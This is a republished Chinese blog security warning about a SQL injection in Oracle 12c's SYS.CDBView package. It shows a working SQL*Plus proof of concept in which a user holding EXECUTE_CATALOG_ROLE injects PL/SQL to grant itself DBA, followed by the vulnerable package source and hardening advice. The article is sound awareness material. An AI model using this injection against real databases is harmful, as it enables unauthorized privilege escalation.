【安全警告】Oracle 12c 多租户的SQL注入高危风险防范

在使用Oracle多租户选件时,由于Container容器和PDB融合共存,则权限控制必将更加重要,在之前的文章中我们提到,Oracle 12.2 的 lockdown profile就是为了实现PDB中更为全面的权限控制。

我们在2016年『比特币事件』中,总结了数据安全的十六大军规其中有一条也明确提到最小权限守则,而且要真正实现权限管理

SQL注入攻击的风险

我们来看看如果权限控制不当,可能遭遇到的数据库安全风险。根据最近披露的风险之一,通过SQL注入可能影响数据库的安全,以下问题影响到多租户的12.1.0.2.0最新版本。

假如我们在CDB中拥有一个普通用户,因为某种原因它申请和被授予了EXECUTE_CATALOG_ROLE的角色:

SQL> connect / as sysdba Connected. SQL> create user c##eygle identified by eygle; User created. SQL> grant execute_catalog_role,create session to c##eygle; Grant succeeded. SQL> select granted_role from user_role_privs; GRANTED_ROLE --------------------------------------------- EXECUTE_CATALOG_ROLE

我们看看这一角色可能由此深入所做出的尝试,经常讨论的SQL注入也就在这个知识范畴之中。

当以下一个系列的SQL被执行之后,一个普通用户获得了DBA的权限,如果这是在一个多租户的环境中,这个提权将是非常危险的:

SQL> connect c##eygle/eygle Connected. SQL> select granted_role from user_role_privs; GRANTED_ROLE ----------------------------------------------------- EXECUTE_CATALOG_ROLE SQL> exec sys.CDBView.create_cdbview(true,'ALL_POLICIES" as select /*+WITH_PLSQL*/ x from (WITH FUNCTION f RETURN varchar2 IS PRAGMA AUTONOMOUS_TRANSACTION;BEGIN /* ','yh_view' ,' */ execute immediate ''grant dba to c##eygle''; RETURN ''1'';END; SELECT f as x FROM dual)-- '); * ERROR at line 1: ORA-00905: missing keyword ORA-06512: at "SYS.CDBVIEW", line 58 ORA-06512: at line 1 SQL> select /*+WITH_PLSQL*/ * from ALL_POLICIES; X ------- 1 SQL> select granted_role from user_role_privs; GRANTED_ROLE ---------------------------- DBA EXECUTE_CATALOG_ROLE SQL> select banner from v$version; BANNER ---------------------------------------------------------------------------------------- Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production PL/SQL Release 12.1.0.2.0 - Production CORE 12.1.0.2.0 Production TNS for Linux: Version 12.1.0.2.0 - Production NLSRTL Version 12.1.0.2.0 - Production

当然作为资深的DBA来说,我们应当知道EXECUTE_CATALOG_ROLE这一角色权限是非常危险的,要严格控制这一权限的授予。这一注入,实际上是利用了 CDBView 包的校验漏洞,进行了注入提权。

sys.CDBView 的主要内容如下(在安装脚本中是明文的),风险来自于脚本内部的校验缺失:

create or replace package sys.CDBView as ---------------------------- -- PROCEDURES AND FUNCTIONS -- procedure create_cdbview(chk_upgrd IN boolean, owner IN varchar2, oldview_name IN varchar2, newview_name IN varchar2); end CDBView; / grant execute on sys.CDBView to execute_catalog_role / create or replace package body sys.CDBView is -- Create the cdb view -- private helper procedure to create the cdb view -- Note that quotes should not be added around owner, oldview_name and -- newview_name before create_cdbview is invoked since all three are used -- as literals to query dictionary views. procedure create_cdbview(chk_upgrd IN boolean, owner IN varchar2, oldview_name IN varchar2, newview_name IN varchar2) as sqlstmt varchar2(4000); col_name varchar2(128); comments varchar2(4000); col_type number; upper_owner varchar2(128); upper_oldview varchar2(128); quoted_owner varchar2(130); -- 2 more than size of owner quoted_oldview varchar2(130); -- 2 more than size of oldview_name quoted_newview varchar2(130); -- 2 more than size of newview_name cursor tblcommentscur is select c.comment$ from sys.obj$ o, sys.user$ u, sys.com$ c where o.name = upper_oldview and u.name = upper_owner and o.obj# = c.obj# and o.owner#=u.user# and o.type# = 4 and c.col# is null; cursor colcommentscur is select c.name, co.comment$, c.type# from sys.obj$ o, sys.col$ c, sys.user$ u, sys.com$ co where o.name = upper_oldview and u.name = upper_owner and o.owner# = u.user# and o.type# = 4 and o.obj# = c.obj# and c.obj# = co.obj# and c.intcol# = co.col# and bitand(c.property, 32) = 0; begin -- convert owner and view names to upper case upper_owner := upper(owner); upper_oldview := upper(oldview_name); quoted_owner := '"' || upper_owner || '"'; quoted_oldview := '"' || upper_oldview || '"'; quoted_newview := '"' || upper(newview_name) || '"'; -- create cdb view sqlstmt := 'CREATE OR REPLACE VIEW ' || quoted_owner || '.' || quoted_newview || ' CONTAINER_DATA AS SELECT * FROM CONTAINERS(' || quoted_owner || '.' || quoted_oldview || ')'; --dbms_output.put_line(sqlstmt); execute immediate sqlstmt; ...... end if; end loop; close colcommentscur; end; end CDBView; / show errors; /

安全风险无处不在,提高安全意识刻不容缓。

原文发布于微信公众号 - 数据和云(OraNews)

原文发表时间:2017-01-11

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏杨建荣的学习笔记

不经意发现的dba_objects和dba_tables中的细节(r7笔记第56天)

今天有一个同学问我一个问题,因为白天比较忙也没有在意,在下班后坐地铁的时候抽空看了这个问题,感觉还是蛮有意思的。但是当时也没有任何答案,就准备自己回去好好实验一...

3253
来自专栏乐沙弥的世界

Oracle RAC环境下配置statspack

    Statspack是Oracle 9i时代的产物,对于监控与分析数据库性能有着跨里程碑的意义,是AWR的前身。在Oracle 10g后AWR取代了sta...

553
来自专栏杨建荣的学习笔记

MySQL无法创建表的问题分析(r12笔记第73天)

今天在下班前帮同事处理了一个看起来很有意思的问题,虽然知道了问题的方向和大体的原因,但是当时因为时间原因还是没想到如何复现这个问题,晚上回到家,收拾收拾,打...

3437
来自专栏乐沙弥的世界

ORA-02019 错误处理

       ORA-02019 错误提示是未找到远程数据库的连接说明,通常发生在本地数据库无法连接到远程数据库。引发该问题的原因很多,比如网络连接,连接方式(...

791
来自专栏编程之路

教师听课评课系统设计

需求分析:管理教师安排任课教师课程,安排听课教师,听课教师到教室听课,使用手机记录学生表现、教师表现、综合表现、以及建议,告别纸质化。课后授课教师查看所有听课人...

783
来自专栏机器学习原理

知识图谱(2)——neo4j的用法

先了解各个命令的用法 创建一个节点 CREATE (ee:Person { name: "Emil", from: "Sweden", klout: 99 ...

631
来自专栏杨建荣的学习笔记

数据库11g升级中一次奇怪的问题 (30天)

客户的测试环境已经从10g升级到11g了。但是没过几天,数据hang住了,登都登不了了,而且通过sys,system,普通用户连接的错误都不一样 首先通过 一下...

2904
来自专栏杨建荣的学习笔记

一个普通数据库用户所能查到的"意料之外"的信息(r2笔记98天)

有时候限于工作环境的情况,大多数开发人员只得到了一个权限收到限制的数据库用户。 可能你都不知道你所拥有的数据库用户都能查到哪些你想象不到的数据库信息,其实你知道...

3288
来自专栏杨建荣的学习笔记

MySQL中的Online DDL(第一篇)(r11笔记第3天)

记得有一天快下班的时候,一位开发同事找到我说,需要对一个表做变更,数据量据说有上千万,而当时是使用的MySQL版本是5.5,这可如何是好,对于在线业务要求高的情...

3339
来自专栏杨建荣的学习笔记

生产环境sql语句调优实战第九篇(r3笔记第34天)

生产环境中有一些sql语句是不定时炸弹,不声不响的运行着,可能相关的表很大,运行时间达数小时,甚至数天。 上周在生产环境中发现一条sql语句,运行时间几乎是按照...

3275

扫描关注云+社区